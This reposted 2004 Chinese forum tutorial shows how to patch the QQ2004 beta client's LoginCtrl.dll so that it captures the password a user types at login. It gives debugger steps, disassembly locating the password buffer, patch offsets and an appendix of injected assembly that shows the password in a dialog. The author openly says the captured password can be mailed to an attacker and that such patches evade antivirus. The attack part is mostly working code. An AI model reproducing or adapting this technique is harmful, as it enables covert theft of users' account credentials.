qq密码自动测试软件,QQ2004测试版密码获取演示
QQ2004測試版密碼獲取演示
2004-6-2 19:14
2715
QQ2004測試版密碼獲取演示
2004-6-2 19:14
2715
水平不高,請大家包涵
最近快畢業了,比較忙。。。。
如果補丁在你那里不好用,請給我反饋。
QQ2004測試版密碼獲取演示
作者:nbw[NE365]
nboy.cnwlt.com
www.vxer.com
QQ??:343538175
以前我做過盜取QQ2003密碼的補丁。利用這種補丁修改QQ后,盜取密碼完全由QQ自身完成。基本不占用資源,不會被查殺。從理論上來講大部分需要填寫密碼的游戲或者程序都可以采用這種方法盜取號碼。現在QQ2004測試版出來了,其安全性比以往有了很大加強。其號碼的獲取和QQ2003基本一樣,但是密碼的處理更為復雜。下面我就說說如何獲取其密碼。
這里只是一個演示,當用戶輸入密碼登陸后,會彈出對話框把用戶輸入的密碼顯示出來。從理論上來說,做到這一步,便意味著可以隨便處理這個密碼(比如發送到某個郵箱,嘿嘿),我現在很忙,寫東西也沒條理這篇文章更像一篇筆記,如果你覺得占用了你的時間,我實在很不好意思。
獲得保存號碼的地方:
如果輸入的號碼位數小于5,則提示錯誤.可以下命令bpx messageboxa,再Pmodule返回程序
領空,向上查看,很容易可以得到獲取號碼的地點如下:
0167:01f63d5d? ?? ? call??....(當然這個地址是變化的.)
返回的eax為號碼地址.且領空為Loginctrl
下面有個函數:QQHELPERDLL!?CheckQQUinValid@@YAHVCString@@@Z(看看命名,范了兵家大忌!),用來判定號碼的合法性,進去以后可以看到:
:1000D8D6 8B4508? ?? ?? ?? ?? ?? ?mov eax, dword ptr [ebp+08]? ?;eax-->號碼
:1000D8D9 8B40F8? ?? ?? ?? ?? ?? ?mov eax, dword ptr [eax-08]? ? ;eax-->密碼
:1000D8DC 83F805? ?? ?? ?? ?? ?? ?cmp eax, 00000005? ?? ?? ? ;比較號碼長度是否大于5
:1000D8DF 7D05? ?? ?? ?? ?? ?? ???jge 1000D8E6
領空為: QQHELPERDLL,也就是代碼在這個文件中.去這個文件查找上面的代碼,便可以找到.由于在TRW中看到的地址并不是個文件中的RVA(因為是動態調用),所以查找這個地方應該搜索特征碼,就是利用Search命令搜索上面這幾行代碼或者他們的Opcode.最好用WinHex打開QQ進程中的Loginctrl.dll領空來搜索.
保存密碼處:
找到了號碼存放位置以后,填寫號碼和密碼點下一步(最好填5位以下的密碼,這樣就不用進入下一個界面).在上面的mov eax, dword ptr [ebp+08]處攔截下來.下命令d eax,看到自己的號碼.向下(或者向上)不遠便是自己輸入的密碼.這個存放密碼的位置是變化的.比如說這次是在0030:008FB720處.下命令bpm 0030:008FB720 w .再次輸入登錄,被攔截.按F10,慢慢向下走,過了好幾個call,直到LOGINCTRL的領空.看看上面的函數,為:
:10004C42 FF7510? ?? ?? ?? ?? ?? ?push [ebp+10]
:10004C45 FF750C? ?? ?? ?? ?? ?? ?push [ebp+0C]
:10004C48 FF7508? ?? ?? ?? ?? ?? ?push [ebp+08]
* Reference To: MFC42.Ordinal:062A, Ord:062Ah
|
:10004C4B E8E8110000? ?? ?? ?? ???Call 10005E38
:10004C50 8B4DF0? ?? ?? ?? ?? ?? ?mov ecx, dword ptr [ebp-10]
在Call 10005E38上下斷點,會發現即使不操作QQ也會頻繁中斷在這個地點.對我們來說,這是多么不幸啊! 所以,再次打開斷點bpm 0030:008FB720 w ,重新登錄,被中斷,像剛才一樣F10,不斷向下走,觀察程序領空,當然會再次看到Call 10005E38,不過不要管他,繼續向下走.不停看啊看啊,每次過了一個ret,如果發現領空不是系統領空(就是不是什么User或者kernel32)就向上看看上面的call,最后到了:0167:01D426DC??E855240000? ?call??MFC42!ord_00000942??,這里的領空仍然是LOGINCTRL,利用特征碼,在W32Dasm中查找"E855240000",具體就是:
:100026CE 8D8648050000? ?? ?? ?? ?lea eax, dword ptr [esi+00000548]
* Possible Reference to Dialog: DialogID_01C2, CONTROL_ID:00B4, ""
|
:100026D4 BBB4000000? ?? ?? ?? ???mov ebx, 000000B4
:100026D9 50? ?? ?? ?? ?? ?? ?? ? push eax? ?? ?? ?? ? ;存放密碼的地址
:100026DA 53? ?? ?? ?? ?? ?? ?? ? push ebx
:100026DB 57? ?? ?? ?? ?? ?? ?? ? push edi
* Reference To: MFC42.Ordinal:0942, Ord:0942h
|
:100026DC E855240000? ?? ?? ?? ???Call 10004B36? ?? ?? ???;**********關鍵函數
:100026E1 8D864C050000? ?? ?? ?? ?lea eax, dword ptr [esi+0000054C]
注意上面的CONTROL_ID:00B4,這里或許就是密碼框的ID.
對于每一個重要的函數,分析其參數無疑是非常明智的.看看上面這個函數,有三個參數eax,ebx,edi,多跟蹤幾次便會發現,eax中為存放密碼的地址,函數的返回值是密碼長度.但是函數好像沒有把密碼長度存放起來(lea eax, dword ptr [esi+0000054C]),或許是密碼驗證在函數中全部完成,跳出函數后不再需要?(猜想)
eax在函數入口時作為密碼存放地址,函數結束時為密碼長度.而函數領空是系統領空,無法對其進行修改.所以,可以在入棧的時候跳轉到我們的代碼,保存eax的值,在函數結束的時候再次跳轉,再次保存eax以獲得密碼長度.這樣2次SMC,肯定會很麻煩.有興趣可以試驗一下,練手嘛.
幸運的是入棧操作的上方有:100026CE??lea eax, dword ptr [esi+00000548] ,觀察一下[esi+00000548]的值,發現在函數執行期間未曾發生變化.所以可以從[esi+00000548]獲得密碼存放地址.
不幸的是,這個函數雖然未曾被頻繁調用,但是在登錄的時候會被調用n次,這樣假如你要保存密碼,就會n次保存。雖然不礙事,就是麻煩些,并且這些數據中只有一個是真正的密碼.但是我還有余力對付這些LG,so,整理一下思路,后面再說如何fuck it!
故此,我們得到以下結論:
當:100026DC E855240000? ?Call 10004B36??執行完畢后(也就是在:100026E1處),[esi+00000548]中存放的是密碼的地址,eax中是密碼長度.
獲取密碼演示:(每當用戶登陸,便彈出對話框顯示用戶輸入的密碼)
用我的剩余空間分析器,分析一下LOGINCTRL文件的剩余空間:
名稱? ???RVA? ???OA? ?? ???尺寸D? ?可寫否
.text??0000681a??0000681a? ?2022? ?? ?否
.rdata??00009238??00009238? ?3528? ?? ?否
.data??0000b414??0000b414??-1044? ?? ?可
.rsrc??00017568??00016568? ?2712? ?? ?否
.reloc??00018b04??00017b04? ?1276? ?? ?否
.text段不錯.有2022字節空間.試驗一下也可以正常載入,用Pedit把這個區段的屬性改為可寫可讀(不然的話無法在這個區段設置可寫變量)
打開LOGINCTRL文件,修改:
:100026DC E855240000? ?? ?? ?? ???Call 10004B36
:100026E1 8D864C050000? ?? ?? ?? ?lea eax, dword ptr [esi+0000054C]
:100026E7 50? ?? ?? ?? ?? ?? ?? ???push eax
:100026E8 6844010000? ?? ?? ?? ?? ?push 00000144
為:
:100026DC E855240000? ?? ?? ?? ???Call 10004B36
:100026E1? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???jmp??6830? ?? ?? ?;跳轉到剩余空間.
:100026E7? ?? ?? ?? ?? ?? ?? ?? ? push eax
少了:100026E1 8D864C050000? ?? ?? ?? ?lea eax, dword ptr [esi+0000054C] .記下來,以后補上.
由于這個關鍵函數在很多時候都被調用,因此需要判斷是不是應該獲得密碼的時候,我這里通過判斷eax和[4D6FAC]來判斷究竟是不是應該獲取密碼,具體算法如下:
if??eax==00??then
;程序正在啟動,跳出
;這種判斷程序啟動的方法,存在一個問題,就是如果用戶的密碼本身為空,我們就采集不到了,因為那樣的話也會導致eax=0
else
if? ???[4D6FAC]=00 then
;獲取密碼
[4D6FAC]=01
else
[4D6FAC]=00
endif
endif
這里的[4D6FAC]是標志位.選這個地址的原因稍候再談.
動態內存地址的查找:
由于QQ2004的特殊處理,導致一些代碼執行的時候所在的內存地址是變化的.就比如上面的關鍵函數,它的地址就是變化的.這樣無疑加強了安全性,也很明顯給我們提出了難度,因為好不容易找到的關鍵地址下次就發生了變化,讓人很惱火.
好在地址的變化并不頻繁.幾天(或許一次開機)才變化一次.這樣就可以很容易找到我們需要的代碼的地址.比如要查找:100026DC E855240000? ? Call 10004B36? ?在內存中的地址.可以用WinHex打開QQ進程中的Loginctrl.dll域.搜索這個函數的代碼,也就是"E855240000",注意用Hex模式搜索,并且不要用小尾方式,因為這是code段,不是data段.
找到后,比如說是01D36835處的數據為E855240000 ,那么下命令bpx??0167:01D36835就可以攔截這個函數了.
標志位地址確定(上面的[4D6FAC]):
上面說過,LOGINCTRL被加載了以后,其內存地址(VA)并不是固定的, 按道理來說對于這種情況可以采用重定位技術,動態獲取當前eip,不過這里的LoginCtrl畢竟是dll,我估計不行,所以也沒試驗.有興趣的朋友可以看看.
所以標志位就不要在這個文件中尋找.這樣可以去QQ主文件查找.需要找一個有可寫屬性的多余空間.4個字節大小就夠(其實一個就夠).
查看一下QQ.exe的節區屬性,只有.data段可寫.所以在這一段最后找一塊地方.這個地方需要可以正常加載,并且不會被使用. .rsrc(D7000處)區段上面有一段空白處.在這里填上全1,然后打開QQ查看一下,發現有的地方不是1,說明被使用了.有的地方是1,說明沒有被使用(至少登陸的時候).其中Dword ptr [4D6FAC]就不錯.不要忘了把這地方填入的1再改為0.
變量組織:
對話框標題: [1D368B0]=C3DCC2EBCAC73A(密碼是:)
標記:? ?? ?[4D6FAC] =00? ?? ? ;獲取密碼
[4D6FAC] =01? ?? ? ;不獲取密碼
新添加代碼:
6830(OA)
6830:? ?? ?nop
nop
nop
pushad
cmp eax,000
je? ???@1
mov ecx,[4D6FAC]
cmp ecx,01
je? ???@1
push? ?? ? 00
push? ?? ? 1D368B0
mov ebx,[esi+548]? ?? ?? ?;ebx-->密碼地址
push? ?? ? ebx
push? ?? ? 00
call??dowrd? ???[004A49E0]? ? ;messageboxa
;請注意這里采用的是QQ.exe中的引入函數,
;而不是LOGINCTRL中的引入函數.
xor??eax,eax
inc? ?eax
mov [4D6FAC],eax
jmp??@2
@1:
xor??eax,eax
mov [4D6FAC],eax
@2:
popad
lea eax, dword ptr [esi+0000054C]
jmp 26e7
具體代碼見附錄
這樣當輸入密碼和號碼,點擊登陸,便可以彈出對話框顯示密碼,由于該對話框不在QQ.exe領空,所以這里對話框會顯示在主界面下面,你可以把主界面挪動一下就可以看到該對話框.
附錄:
新添加的代碼:
:10006830 90? ?? ?? ?? ?? ?? ?? ? nop
:10006831 60? ?? ?? ?? ?? ?? ?? ? pushad
:10006832 83F800? ?? ?? ?? ?? ?? ?cmp eax, 00000000
:10006835 7430? ?? ?? ?? ?? ?? ???je 10006867
:10006837 8B0DAC6F4D00? ?? ?? ?? ?mov ecx, dword ptr [004D6FAC]
:1000683D 83F901? ?? ?? ?? ?? ?? ?cmp ecx, 00000001
:10006840 7425? ?? ?? ?? ?? ?? ???je 10006867
:10006842 6A00? ?? ?? ?? ?? ?? ???push 00000000
:10006844 68B069D301? ?? ?? ?? ???push 01D369B0
:10006849 8B9E48050000? ?? ?? ?? ?mov ebx, dword ptr [esi+00000548]
:1000684F 53? ?? ?? ?? ?? ?? ?? ? push ebx
:10006850 6A00? ?? ?? ?? ?? ?? ???push 00000000
:10006852 90? ?? ?? ?? ?? ?? ?? ? nop
:10006853 90? ?? ?? ?? ?? ?? ?? ? nop
:10006854 FF15E0494A00? ?? ?? ?? ?call dword ptr [004A49E0]
:1000685A 33C0? ?? ?? ?? ?? ?? ???xor eax, eax
:1000685C 40? ?? ?? ?? ?? ?? ?? ? inc eax
:1000685D A3AC6F4D00? ?? ?? ?? ???mov dword ptr [004D6FAC], eax
:10006862 E907000000? ?? ?? ?? ???jmp 1000686E
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:10006835(C), :10006840(C)
|
:10006867 33C0? ?? ?? ?? ?? ?? ???xor eax, eax
:10006869 A3AC6F4D00? ?? ?? ?? ???mov dword ptr [004D6FAC], eax
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10006862(U)
|
:1000686E 61? ?? ?? ?? ?? ?? ?? ? popad
:1000686F 8D864C050000? ?? ?? ?? ?lea eax, dword ptr [esi+0000054C]
:10006875 E96DBEFFFF? ?? ?? ?? ???jmp 100026E7:D
總結
以上是生活随笔為你收集整理的qq密码自动测试软件,QQ2004测试版密码获取演示的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 合作开发的要求
- 下一篇: A/BTest 基础